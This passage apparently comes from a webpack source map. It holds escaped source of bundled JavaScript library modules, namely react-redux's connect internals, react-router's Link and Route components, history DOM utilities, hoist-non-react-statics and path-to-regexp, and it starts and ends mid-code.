function shouldComponentUpdate() {\n        return this.selector.shouldComponentUpdate;\n      };\n\n      Connect.prototype.componentWillUnmount = function componentWillUnmount() {\n        if (this.subscription) this.subscription.tryUnsubscribe();\n        this.subscription = null;\n        this.notifyNestedSubs = noop;\n        this.store = null;\n        this.selector.run = noop;\n        this.selector.shouldComponentUpdate = false;\n      };\n\n      Connect.prototype.getWrappedInstance = function getWrappedInstance() {\n        invariant(withRef, 'To access the wrapped instance, you need to specify ' + ('{ withRef: true } in the options argument of the ' + methodName + '() call.'));\n        return this.wrappedInstance;\n      };\n\n      Connect.prototype.setWrappedInstance = function setWrappedInstance(ref) {\n        this.wrappedInstance = ref;\n      };\n\n      Connect.prototype.initSelector = function initSelector() {\n        var sourceSelector = selectorFactory(this.store.dispatch, selectorFactoryOptions);\n        this.selector = makeSelectorStateful(sourceSelector, this.store);\n        this.selector.run(this.props);\n      };\n\n      Connect.prototype.initSubscription = function initSubscription() {\n        if (!shouldHandleStateChanges) return;\n\n        // parentSub's source should match where store came from: props vs. context. A component\n        // connected to the store via props shouldn't use subscription from context, or vice versa.\n        var parentSub = (this.propsMode ? this.props : this.context)[subscriptionKey];\n        this.subscription = new Subscription(this.store, parentSub, this.onStateChange.bind(this));\n\n        // `notifyNestedSubs` is duplicated to handle the case where the component is  unmounted in\n        // the middle of the notification loop, where `this.subscription` will then be null. An\n        // extra null check every change can be avoided by copying the method onto `this` and then\n        // replacing it with a no-op on unmount. This can probably be avoided if Subscription's\n        // listeners logic is changed to not call listeners that have been unsubscribed in the\n        // middle of the notification loop.\n        this.notifyNestedSubs = this.subscription.notifyNestedSubs.bind(this.subscription);\n      };\n\n      Connect.prototype.onStateChange = function onStateChange() {\n        this.selector.run(this.props);\n\n        if (!this.selector.shouldComponentUpdate) {\n          this.notifyNestedSubs();\n        } else {\n          this.componentDidUpdate = this.notifyNestedSubsOnComponentDidUpdate;\n          this.setState(dummyState);\n        }\n      };\n\n      Connect.prototype.notifyNestedSubsOnComponentDidUpdate = function notifyNestedSubsOnComponentDidUpdate() {\n        // `componentDidUpdate` is conditionally implemented when `onStateChange` determines it\n        // needs to notify nested subs. Once called, it unimplements itself until further state\n        // changes occur. Doing it this way vs having a permanent `componentDidUpdate` that does\n        // a boolean check every time avoids an extra method call most of the time, resulting\n        // in some perf boost.\n        this.componentDidUpdate = undefined;\n        this.notifyNestedSubs();\n      };\n\n      Connect.prototype.isSubscribed = function isSubscribed() {\n        return Boolean(this.subscription) && this.subscription.isSubscribed();\n      };\n\n      Connect.prototype.addExtraProps = function addExtraProps(props) {\n        if (!withRef && !renderCountProp && !(this.propsMode && this.subscription)) return props;\n        // make a shallow copy so that fields added don't leak to the original selector.\n        // this is especially important for 'ref' since that's a reference back to the component\n        // instance. a singleton memoized selector would then be holding a reference to the\n        // instance, preventing the instance from being garbage collected, and that would be bad\n        var withExtras = _extends({}, props);\n        if (withRef) withExtras.ref = this.setWrappedInstance;\n        if (renderCountProp) withExtras[renderCountProp] = this.renderCount++;\n        if (this.propsMode && this.subscription) withExtras[subscriptionKey] = this.subscription;\n        return withExtras;\n      };\n\n      Connect.prototype.render = function render() {\n        var selector = this.selector;\n        selector.shouldComponentUpdate = false;\n\n        if (selector.error) {\n          throw selector.error;\n        } else {\n          return createElement(WrappedComponent, this.addExtraProps(selector.props));\n        }\n      };\n\n      return Connect;\n    }(Component);\n\n    Connect.WrappedComponent = WrappedComponent;\n    Connect.displayName = displayName;\n    Connect.childContextTypes = childContextTypes;\n    Connect.contextTypes = contextTypes;\n    Connect.propTypes = contextTypes;\n\n    if (process.env.NODE_ENV !== 'production') {\n      Connect.prototype.componentWillUpdate = function componentWillUpdate() {\n        var _this2 = this;\n\n        // We are hot reloading!\n        if (this.version !== version) {\n          this.version = version;\n          this.initSelector();\n\n          // If any connected descendants don't hot reload (and resubscribe in the process), their\n          // listeners will be lost when we unsubscribe. Unfortunately, by copying over all\n          // listeners, this does mean that the old versions of connected descendants will still be\n          // notified of state changes; however, their onStateChange function is a no-op so this\n          // isn't a huge deal.\n          var oldListeners = [];\n\n          if (this.subscription) {\n            oldListeners = this.subscription.listeners.get();\n            this.subscription.tryUnsubscribe();\n          }\n          this.initSubscription();\n          if (shouldHandleStateChanges) {\n            this.subscription.trySubscribe();\n            oldListeners.forEach(function (listener) {\n              return _this2.subscription.listeners.subscribe(listener);\n            });\n          }\n        }\n      };\n    }\n\n    return hoistStatics(Connect, WrappedComponent);\n  };\n}\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-redux/es/components/connectAdvanced.js\n// module id = 69\n// module chunks = 0 1 2 3 4","'use strict';\n\n/**\n * Copyright 2015, Yahoo! Inc.\n * Copyrights licensed under the New BSD License. See the accompanying LICENSE file for terms.\n */\nvar REACT_STATICS = {\n    childContextTypes: true,\n    contextTypes: true,\n    defaultProps: true,\n    displayName: true,\n    getDefaultProps: true,\n    getDerivedStateFromProps: true,\n    mixins: true,\n    propTypes: true,\n    type: true\n};\n\nvar KNOWN_STATICS = {\n    name: true,\n    length: true,\n    prototype: true,\n    caller: true,\n    callee: true,\n    arguments: true,\n    arity: true\n};\n\nvar defineProperty = Object.defineProperty;\nvar getOwnPropertyNames = Object.getOwnPropertyNames;\nvar getOwnPropertySymbols = Object.getOwnPropertySymbols;\nvar getOwnPropertyDescriptor = Object.getOwnPropertyDescriptor;\nvar getPrototypeOf = Object.getPrototypeOf;\nvar objectPrototype = getPrototypeOf && getPrototypeOf(Object);\n\nfunction hoistNonReactStatics(targetComponent, sourceComponent, blacklist) {\n    if (typeof sourceComponent !== 'string') { // don't hoist over string (html) components\n\n        if (objectPrototype) {\n            var inheritedComponent = getPrototypeOf(sourceComponent);\n            if (inheritedComponent && inheritedComponent !== objectPrototype) {\n                hoistNonReactStatics(targetComponent, inheritedComponent, blacklist);\n            }\n        }\n\n        var keys = getOwnPropertyNames(sourceComponent);\n\n        if (getOwnPropertySymbols) {\n            keys = keys.concat(getOwnPropertySymbols(sourceComponent));\n        }\n\n        for (var i = 0; i < keys.length; ++i) {\n            var key = keys[i];\n            if (!REACT_STATICS[key] && !KNOWN_STATICS[key] && (!blacklist || !blacklist[key])) {\n                var descriptor = getOwnPropertyDescriptor(sourceComponent, key);\n                try { // Avoid failures from read-only properties\n                    defineProperty(targetComponent, key, descriptor);\n                } catch (e) {}\n            }\n        }\n\n        return targetComponent;\n    }\n\n    return targetComponent;\n}\n\nmodule.exports = hoistNonReactStatics;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/hoist-non-react-statics/dist/hoist-non-react-statics.cjs.js\n// module id = 70\n// module chunks = 0 1 2 3 4","import verifyPlainObject from '../utils/verifyPlainObject';\n\nexport function wrapMapToPropsConstant(getConstant) {\n  return function initConstantSelector(dispatch, options) {\n    var constant = getConstant(dispatch, options);\n\n    function constantSelector() {\n      return constant;\n    }\n    constantSelector.dependsOnOwnProps = false;\n    return constantSelector;\n  };\n}\n\n// dependsOnOwnProps is used by createMapToPropsProxy to determine whether to pass props as args\n// to the mapToProps function being wrapped. It is also used by makePurePropsSelector to determine\n// whether mapToProps needs to be invoked when props have changed.\n// \n// A length of one signals that mapToProps does not depend on props from the parent component.\n// A length of zero is assumed to mean mapToProps is getting args via arguments or ...args and\n// therefore not reporting its length accurately..\nexport function getDependsOnOwnProps(mapToProps) {\n  return mapToProps.dependsOnOwnProps !== null && mapToProps.dependsOnOwnProps !== undefined ? Boolean(mapToProps.dependsOnOwnProps) : mapToProps.length !== 1;\n}\n\n// Used by whenMapStateToPropsIsFunction and whenMapDispatchToPropsIsFunction,\n// this function wraps mapToProps in a proxy function which does several things:\n// \n//  * Detects whether the mapToProps function being called depends on props, which\n//    is used by selectorFactory to decide if it should reinvoke on props changes.\n//    \n//  * On first call, handles mapToProps if returns another function, and treats that\n//    new function as the true mapToProps for subsequent calls.\n//    \n//  * On first call, verifies the first result is a plain object, in order to warn\n//    the developer that their mapToProps function is not returning a valid result.\n//    \nexport function wrapMapToPropsFunc(mapToProps, methodName) {\n  return function initProxySelector(dispatch, _ref) {\n    var displayName = _ref.displayName;\n\n    var proxy = function mapToPropsProxy(stateOrDispatch, ownProps) {\n      return proxy.dependsOnOwnProps ? proxy.mapToProps(stateOrDispatch, ownProps) : proxy.mapToProps(stateOrDispatch);\n    };\n\n    // allow detectFactoryAndVerify to get ownProps\n    proxy.dependsOnOwnProps = true;\n\n    proxy.mapToProps = function detectFactoryAndVerify(stateOrDispatch, ownProps) {\n      proxy.mapToProps = mapToProps;\n      proxy.dependsOnOwnProps = getDependsOnOwnProps(mapToProps);\n      var props = proxy(stateOrDispatch, ownProps);\n\n      if (typeof props === 'function') {\n        proxy.mapToProps = props;\n        proxy.dependsOnOwnProps = getDependsOnOwnProps(props);\n        props = proxy(stateOrDispatch, ownProps);\n      }\n\n      if (process.env.NODE_ENV !== 'production') verifyPlainObject(props, displayName, methodName);\n\n      return props;\n    };\n\n    return proxy;\n  };\n}\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-redux/es/connect/wrapMapToProps.js\n// module id = 71\n// module chunks = 0 1 2 3 4","import isPlainObject from 'lodash-es/isPlainObject';\nimport warning from './warning';\n\nexport default function verifyPlainObject(value, displayName, methodName) {\n  if (!isPlainObject(value)) {\n    warning(methodName + '() in ' + displayName + ' must return a plain object. Instead received ' + value + '.');\n  }\n}\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-redux/es/utils/verifyPlainObject.js\n// module id = 72\n// module chunks = 0 1 2 3 4","import root from './_root.js';\n\n/** Built-in value references. */\nvar Symbol = root.Symbol;\n\nexport default Symbol;\n\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/lodash-es/_Symbol.js\n// module id = 73\n// module chunks = 0 1 2 3 4","export var canUseDOM = !!(typeof window !== 'undefined' && window.document && window.document.createElement);\n\nexport var addEventListener = function addEventListener(node, event, listener) {\n  return node.addEventListener ? node.addEventListener(event, listener, false) : node.attachEvent('on' + event, listener);\n};\n\nexport var removeEventListener = function removeEventListener(node, event, listener) {\n  return node.removeEventListener ? node.removeEventListener(event, listener, false) : node.detachEvent('on' + event, listener);\n};\n\nexport var getConfirmation = function getConfirmation(message, callback) {\n  return callback(window.confirm(message));\n}; // eslint-disable-line no-alert\n\n/**\n * Returns true if the HTML5 history API is supported. Taken from Modernizr.\n *\n * https://github.com/Modernizr/Modernizr/blob/master/LICENSE\n * https://github.com/Modernizr/Modernizr/blob/master/feature-detects/history.js\n * changed to avoid false negatives for Windows Phones: https://github.com/reactjs/react-router/issues/586\n */\nexport var supportsHistory = function supportsHistory() {\n  var ua = window.navigator.userAgent;\n\n  if ((ua.indexOf('Android 2.') !== -1 || ua.indexOf('Android 4.0') !== -1) && ua.indexOf('Mobile Safari') !== -1 && ua.indexOf('Chrome') === -1 && ua.indexOf('Windows Phone') === -1) return false;\n\n  return window.history && 'pushState' in window.history;\n};\n\n/**\n * Returns true if browser fires popstate on hash change.\n * IE10 and IE11 do not.\n */\nexport var supportsPopStateOnHashChange = function supportsPopStateOnHashChange() {\n  return window.navigator.userAgent.indexOf('Trident') === -1;\n};\n\n/**\n * Returns false if using go(n) with hash history causes a full page reload.\n */\nexport var supportsGoWithoutReloadUsingHash = function supportsGoWithoutReloadUsingHash() {\n  return window.navigator.userAgent.indexOf('Firefox') === -1;\n};\n\n/**\n * Returns true if a given popstate event is an extraneous WebKit event.\n * Accounts for the fact that Chrome on iOS fires real popstate events\n * containing undefined state when pressing the back button.\n */\nexport var isExtraneousPopstateEvent = function isExtraneousPopstateEvent(event) {\n  return event.state === undefined && navigator.userAgent.indexOf('CriOS') === -1;\n};\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/history/es/DOMUtils.js\n// module id = 74\n// module chunks = 0 1 2 3 4","var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };\n\nfunction _objectWithoutProperties(obj, keys) { var target = {}; for (var i in obj) { if (keys.indexOf(i) >= 0) continue; if (!Object.prototype.hasOwnProperty.call(obj, i)) continue; target[i] = obj[i]; } return target; }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nimport React from \"react\";\nimport PropTypes from \"prop-types\";\nimport invariant from \"invariant\";\nimport { createLocation } from \"history\";\n\nvar isModifiedEvent = function isModifiedEvent(event) {\n  return !!(event.metaKey || event.altKey || event.ctrlKey || event.shiftKey);\n};\n\n/**\n * The public API for rendering a history-aware <a>.\n */\n\nvar Link = function (_React$Component) {\n  _inherits(Link, _React$Component);\n\n  function Link() {\n    var _temp, _this, _ret;\n\n    _classCallCheck(this, Link);\n\n    for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {\n      args[_key] = arguments[_key];\n    }\n\n    return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.handleClick = function (event) {\n      if (_this.props.onClick) _this.props.onClick(event);\n\n      if (!event.defaultPrevented && // onClick prevented default\n      event.button === 0 && // ignore everything but left clicks\n      !_this.props.target && // let browser handle \"target=_blank\" etc.\n      !isModifiedEvent(event) // ignore clicks with modifier keys\n      ) {\n          event.preventDefault();\n\n          var history = _this.context.router.history;\n          var _this$props = _this.props,\n              replace = _this$props.replace,\n              to = _this$props.to;\n\n\n          if (replace) {\n            history.replace(to);\n          } else {\n            history.push(to);\n          }\n        }\n    }, _temp), _possibleConstructorReturn(_this, _ret);\n  }\n\n  Link.prototype.render = function render() {\n    var _props = this.props,\n        replace = _props.replace,\n        to = _props.to,\n        innerRef = _props.innerRef,\n        props = _objectWithoutProperties(_props, [\"replace\", \"to\", \"innerRef\"]); // eslint-disable-line no-unused-vars\n\n    invariant(this.context.router, \"You should not use <Link> outside a <Router>\");\n\n    invariant(to !== undefined, 'You must specify the \"to\" property');\n\n    var history = this.context.router.history;\n\n    var location = typeof to === \"string\" ? createLocation(to, null, null, history.location) : to;\n\n    var href = history.createHref(location);\n    return React.createElement(\"a\", _extends({}, props, { onClick: this.handleClick, href: href, ref: innerRef }));\n  };\n\n  return Link;\n}(React.Component);\n\nLink.propTypes = {\n  onClick: PropTypes.func,\n  target: PropTypes.string,\n  replace: PropTypes.bool,\n  to: PropTypes.oneOfType([PropTypes.string, PropTypes.object]).isRequired,\n  innerRef: PropTypes.oneOfType([PropTypes.string, PropTypes.func])\n};\nLink.defaultProps = {\n  replace: false\n};\nLink.contextTypes = {\n  router: PropTypes.shape({\n    history: PropTypes.shape({\n      push: PropTypes.func.isRequired,\n      replace: PropTypes.func.isRequired,\n      createHref: PropTypes.func.isRequired\n    }).isRequired\n  }).isRequired\n};\n\n\nexport default Link;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router-dom/es/Link.js\n// module id = 75\n// module chunks = 0 1 2 3 4","// Written in this round about way for babel-transform-imports\nimport Route from \"react-router/es/Route\";\n\nexport default Route;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router-dom/es/Route.js\n// module id = 76\n// module chunks = 0 1 2 3 4","var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return call && (typeof call === \"object\" || typeof call === \"function\") ? call : self; }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function, not \" + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }\n\nimport warning from \"warning\";\nimport invariant from \"invariant\";\nimport React from \"react\";\nimport PropTypes from \"prop-types\";\nimport matchPath from \"./matchPath\";\n\nvar isEmptyChildren = function isEmptyChildren(children) {\n  return React.Children.count(children) === 0;\n};\n\n/**\n * The public API for matching a single path and rendering.\n */\n\nvar Route = function (_React$Component) {\n  _inherits(Route, _React$Component);\n\n  function Route() {\n    var _temp, _this, _ret;\n\n    _classCallCheck(this, Route);\n\n    for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {\n      args[_key] = arguments[_key];\n    }\n\n    return _ret = (_temp = (_this = _possibleConstructorReturn(this, _React$Component.call.apply(_React$Component, [this].concat(args))), _this), _this.state = {\n      match: _this.computeMatch(_this.props, _this.context.router)\n    }, _temp), _possibleConstructorReturn(_this, _ret);\n  }\n\n  Route.prototype.getChildContext = function getChildContext() {\n    return {\n      router: _extends({}, this.context.router, {\n        route: {\n          location: this.props.location || this.context.router.route.location,\n          match: this.state.match\n        }\n      })\n    };\n  };\n\n  Route.prototype.computeMatch = function computeMatch(_ref, router) {\n    var computedMatch = _ref.computedMatch,\n        location = _ref.location,\n        path = _ref.path,\n        strict = _ref.strict,\n        exact = _ref.exact,\n        sensitive = _ref.sensitive;\n\n    if (computedMatch) return computedMatch; // <Switch> already computed the match for us\n\n    invariant(router, \"You should not use <Route> or withRouter() outside a <Router>\");\n\n    var route = router.route;\n\n    var pathname = (location || route.location).pathname;\n\n    return matchPath(pathname, { path: path, strict: strict, exact: exact, sensitive: sensitive }, route.match);\n  };\n\n  Route.prototype.componentWillMount = function componentWillMount() {\n    warning(!(this.props.component && this.props.render), \"You should not use <Route component> and <Route render> in the same route; <Route render> will be ignored\");\n\n    warning(!(this.props.component && this.props.children && !isEmptyChildren(this.props.children)), \"You should not use <Route component> and <Route children> in the same route; <Route children> will be ignored\");\n\n    warning(!(this.props.render && this.props.children && !isEmptyChildren(this.props.children)), \"You should not use <Route render> and <Route children> in the same route; <Route children> will be ignored\");\n  };\n\n  Route.prototype.componentWillReceiveProps = function componentWillReceiveProps(nextProps, nextContext) {\n    warning(!(nextProps.location && !this.props.location), '<Route> elements should not change from uncontrolled to controlled (or vice versa). You initially used no \"location\" prop and then provided one on a subsequent render.');\n\n    warning(!(!nextProps.location && this.props.location), '<Route> elements should not change from controlled to uncontrolled (or vice versa). You provided a \"location\" prop initially but omitted it on a subsequent render.');\n\n    this.setState({\n      match: this.computeMatch(nextProps, nextContext.router)\n    });\n  };\n\n  Route.prototype.render = function render() {\n    var match = this.state.match;\n    var _props = this.props,\n        children = _props.children,\n        component = _props.component,\n        render = _props.render;\n    var _context$router = this.context.router,\n        history = _context$router.history,\n        route = _context$router.route,\n        staticContext = _context$router.staticContext;\n\n    var location = this.props.location || route.location;\n    var props = { match: match, location: location, history: history, staticContext: staticContext };\n\n    if (component) return match ? React.createElement(component, props) : null;\n\n    if (render) return match ? render(props) : null;\n\n    if (typeof children === \"function\") return children(props);\n\n    if (children && !isEmptyChildren(children)) return React.Children.only(children);\n\n    return null;\n  };\n\n  return Route;\n}(React.Component);\n\nRoute.propTypes = {\n  computedMatch: PropTypes.object, // private, from <Switch>\n  path: PropTypes.string,\n  exact: PropTypes.bool,\n  strict: PropTypes.bool,\n  sensitive: PropTypes.bool,\n  component: PropTypes.func,\n  render: PropTypes.func,\n  children: PropTypes.oneOfType([PropTypes.func, PropTypes.node]),\n  location: PropTypes.object\n};\nRoute.contextTypes = {\n  router: PropTypes.shape({\n    history: PropTypes.object.isRequired,\n    route: PropTypes.object.isRequired,\n    staticContext: PropTypes.object\n  })\n};\nRoute.childContextTypes = {\n  router: PropTypes.object.isRequired\n};\n\n\nexport default Route;\n\n\n//////////////////\n// WEBPACK FOOTER\n// ./node_modules/react-router/es/Route.js\n// module id = 77\n// module chunks = 0 1 2 3 4","var isarray = require('isarray')\n\n/**\n * Expose `pathToRegexp`.\n */\nmodule.exports = pathToRegexp\nmodule.exports.parse = parse\nmodule.exports.compile = compile\nmodule.exports.tokensToFunction = tokensToFunction\nmodule.exports.tokensToRegExp = tokensToRegExp\n\n/**\n * The main path matching regexp utility.\n *\n * @type {RegExp}\n */\nvar PATH_REGEXP = new RegExp([\n  // Match escaped characters that would otherwise appear in future matches.\n  // This allows the user to escape special characters that won't transform.\n  '(\\\\\\\\.)',\n  // Match Express-style parameters and un-named parameters with a prefix\n  // and optional suffixes. Matches appear as:\n  //\n  // \"/:test(\\\\d+)?\" => [\"/\", \"test\", \"\\d+\", undefined, \"?\", undefined]\n  // \"/route(\\\\d+)\"  => [undefined, undefined, undefined, \"\\d+\", undefined, undefined]\n  // \"/*\"            => [\"/\", undefined, undefined, undefined, undefined, \"*\"]\n  '([\\\\/.])?(?:(?:\\\\:(\\\\w+)(?:\\\\(((?:\\\\\\\\.|[^\\\\\\\\()])+)\\\\))?|\\\\(((?:\\\\\\\\.|[^\\\\\\\\()])+)\\\\))([+*?])?|(\\\\*))'\n].join('|'), 'g')\n\n/**\n * Parse a string for the raw tokens.\n *\n * @param  {string}  str\n * @param  {Object=} options\n * @return {!Array}\n */\nfunction parse (str, options) {\n  var tokens = []\n  var key = 0\n  var index = 0\n  var path = ''\n  var defaultDelimiter = options && options.delimiter || '/'\n  var res\n\n  while ((res = PATH_REGEXP.exec(str)) != null) {\n    var m = res[0]\n    var escaped = res[1]\n    var offset = res.index\n    path += str.slice(index, offset)\n    index = offset + m.length\n\n    // Ignore already escaped sequences.\n    if (escaped) {\n      path += escaped[1]\n      continue\n    }\n\n    var next = str[index]\n    var prefix = res[2]\n    var name = res[3]\n    var capture = res[4]\n    var group = res[5]\n    var modifier = res[6]\n    var asterisk = res[7]\n\n    // Push the current path onto the tokens.\n    if (path) {\n      tokens.push(path)\n      path = ''\n    }\n\n    var partial = prefix != null && next != null && next !== prefix\n    var repeat = modifier === '+' || modifier === '*'\n    var optional = modifier === '?' || modifier === '*'\n    var delimiter = res[2] || defaultDelimiter\n    var pattern = capture || group\n\n    tokens.push({\n      name: name || key++,\n      prefix: prefix || '',\n      delimiter: delimiter,\n      optional: optional,\n      repeat: repeat,\n      partial: partial,\n      asterisk: !!asterisk,\n      pattern: pattern ? escapeGroup(pattern) : (asterisk ? '.*' : '[^' + escapeString(delimiter) + ']+?')\n    })\n  }\n\n  // Match any characters still remaining.\n  if (index < str.length) {\n    path += str.substr(index)\n  }\n\n  // If the path exists, push it onto the end.\n  if (path) {\n    tokens.push(path)\n  }\n\n  return tokens\n}\n\n/**\n * Compile a string to a template function for the path.\n *\n * @param  {string}             str\n * @param  {Object=}            options\n * @return {!function(Object=, Object=)}\n */\nfunction compile (str, options) {\n  return tokensToFunction(parse(str, options))\n}\n\n/**\n * Prettier encoding of URI path segments.\n *\n * @param  {string}\n * @return {string}\n */\nfunction encodeURIComponentPretty (str) {\n  return encodeURI(str).replace(/[\\/?#]/g, function (c) {\n    return '%' + c.charCodeAt(0).toString(16).toUpperCase()\n  })\n}\n\n/**\n * Encode the asterisk parameter. Similar to `pretty`, but allows slashes.\n *\n * @param  {string}\n * @return {string}\n */\nfunction encodeAsterisk (str) {\n  return encodeURI(str).replace(/[?#]/g, function (c) {\n    return '%' + c.charCodeAt(0).toString(16).toUpperCase()\n  })\n}\n\n/**\n * Expose a method for transforming tokens into the path function.\n */\nfunction tokensToFunction (tokens) {\n  // Compile all the tokens into regexps.\n  var matches = new Array(tokens.length)\n\n  // Compile all the patterns before compilation.\n  for (var i = 0; i < tokens.length; i++) {\n    if (typeof tokens[i] === 'object') {\n      matches[i] = new RegExp('^(?:' + tokens[i].pattern + ')$')\n    }\n  }\n\n  return function (obj, opts) {\n    var path = ''\n    var data = obj || {}\n    var options = opts || {}\n    var encode = options.pretty ? encodeURIComponentPretty : encodeURIComponent\n\n    for (var i = 0; i < tokens.length; i++) {\n      var token = tokens[i]\n\n      if (typeof token === 'string') {\n        path += token\n\n        continue\n      }\n\n      var value = data[token.name]\n      var segment\n\n      if (value == null) {\n        if (token.optional) {\n          // Prepend partial segment prefixes.\n          if (token.partial) {\n            path += token.prefix\n          }\n\n          continue\n        } else {\n          throw new TypeError('Expected \"' + token.name + '\" to be defined')\n        }\n      }\n\n      if (isarray(value)) {\n        if (!token.repeat) {\n          throw new TypeError('Expected \"' + token.name + '\" to not repeat, but received `' + JSON.stringify(value) + '`')\n        }\n\n        if (value.length === 0) {\n          if (token.optional) {\n            continue\n          } else {\n            throw new TypeError('Expected \"' + token.name + '\" to not be empty')\n          }\n        }\n\n        for (var j = 0; j < value.length; j++) {\n          segment = encode(value[j])\n\n          if (!matches[i].test(segment)) {\n            throw new TypeError('Expected all \"' + token.name + '\" to match \"' + token.pattern + '\", but received `' + JSON.stringify(segment) + '`')\n          }\n\n          path += (j === 0 ? token.prefix : token.delimiter) + segment\n        }\n\n        continue\n      }\n\n      segment = token.asterisk ? encodeAsterisk(value) : encode(value)\n\n      if (!matches[i].test(segment)) {\n        throw new TypeError('Expected \"' + token.name + '\" to match \"' + token.pattern + '\", but received \"' + segment + '\"')\n      }\n\n      path += token.prefix + segment\n    }\n\n    return path\n  }\n}\n\n/**\n * Escape a regular expression string.\n *\n * @param  {string} str\n * @return {string}\n */\nfunction escapeString (str) {\n  return str.replace(/([.+*?=^!:${}()[\\]|\\/\\\\])/g, '\\\\$1')\n}\n\n/**\n * Escape the capturing group by escaping special characters and meaning.\n *\n * @param  {string} group\n * @return {string}\n */\nfunction escapeGroup (group) {\n  return group.replace(/([=!:$\\/()])/g, '\\\\$1')\n}\n\n/**\n * Attach the keys as a property of the regexp.\n *\n * @param  {!RegExp} re\n * @param  {Array}   keys\n * @return {!RegExp}\n */\nfunction attachKeys (re, keys) {\n  re.keys = keys\n  return re\n}\n\n/**\n * Get the flags for a regexp from the options.\n *\n * @param  {Object} options\n * @return {string}\n */\nfunction flags (options) {\n  return options.sensitive ? '' : 'i'\n}\n\n/**\n * Pull out keys from a regexp.\n *\n * @param  {!RegExp} path\n * @param  {!Array}  keys\n * @return {!RegExp}\n */\nfunction regexpToRegexp (path, keys) {\n  // Use a negative lookahead to match only capturing groups.\n  var groups = path.source.match(/\\((?!\\?)/g)\n\n  if (groups) {\n    for (var i = 0; i < groups.length; i++) {\n      keys.push({\n        name: i,\n        prefix: null,\n        delimiter: null,\n        optional: false,\n        repeat: false,\n        partial: false,\n        asterisk: false,\n        pattern: null\n      })\n    }\n  }\n\n  return attachKeys(path, keys)\n}\n\n/**\n * Transform an array into a regexp.\n *\n * @param  {!Array}  path\n * @param  {Array}   keys\n * @param  {!Object} options\n * @return {!RegExp}\n */\nfunction arrayToRegexp (path, keys, options) {\n  var parts = []\n\n  for (var i = 0; i < path.length; i++) {\n    parts.push(pathToRegexp(path[i], keys, options).source)\n  }\n\n  var regexp = new RegExp('(?:' + parts.join('|') + ')', flags(options))\n\n  return attachKeys(regexp, keys)\n}\n\n/**\n * Create a path regexp from string input.\n *\n * @param  {string}  path\n * @param  {!Array}  keys\n * @param  {!Object} options\n * @return {!RegExp}\n */\nfunction stringToRegexp (path, keys, options) {\n  return tokensToRegExp(parse(path, options), keys, options)\n}\n\n/**\n * Expose a function for taking tokens and returning a RegExp.\n *\n * @param  {!Array}          tokens\n * @param  {(Array|Object)=} keys\n * @param  {Object=}         options\n * @return {!RegExp}\n */\nfunction tokensToRegExp (tokens, keys, options) {\n  if (!isarray(keys)) {\n    options = /** @type {!Object} */ (keys || options)\n    keys = []\n  }\n\n  options = options || {}\n\n  var strict = options.strict\n  var end = options.end !== false\n  var route = ''\n\n  // Iterate over the tokens and create our regexp string.\n  for (var i = 0; i < tokens.length; i++) {\n    var token = tokens[i]\n\n    if (typeof token === 'string') {\n      route += escapeString(token)\n    } else {\n      var prefix = escapeString(token.prefix)\n      var capture = '(?:' + token.pattern + ')'\n\n      keys.push(token)\n\n      if (token.repeat) {\n        capture += '(?:' + prefix + capture + ')*'\n      }\n\n      if (token.optional) {\n        if (!token.partial) {\n          capture = '(?:' + prefix + '(' + capture + '))?'\n        } else {\n          capture = prefix + '(' + capture + ')?'\n        }\n      } else {\n        capture = prefix + '(' + capture + ')'\n      }\n\n      route += capture\n    }\n  }\n\n  var delimiter = escapeString(options.delimiter || '/')\n  var endsWithDelimiter = route.slice(-delimiter.length) === delimiter\n\n  // In non-strict mode we allow a slash at the end of match. If the path to\n  // match already ends with a slash, we remove it for consistency. The slash\n  // is valid at the end of a path match, not in the middle. This is important\n  // in non-ending mode, where \"/test/\" shouldn't match \"/test//route\".\n  if (!strict) {\n    route = (endsWithDelimiter ? route.slice(0, -delimiter.length) : route) + '(?:' + delimiter + '(?=$))?'\n  }\n\n  if (end) {\n    route += '$'\n  } else {\n    // In non-ending mode, we need the capturing groups to match as much as\n    // possible by using a positive lookahead to the end or next path segment.\n    route += strict && endsWithDelimiter ? '' : '(?=' + delimiter + '|$)'\n  }\n\n  return attachKeys(new RegExp('^' + route, flags(options)), keys)\n}\n\n/**\n * Normalize the given path string, returning a 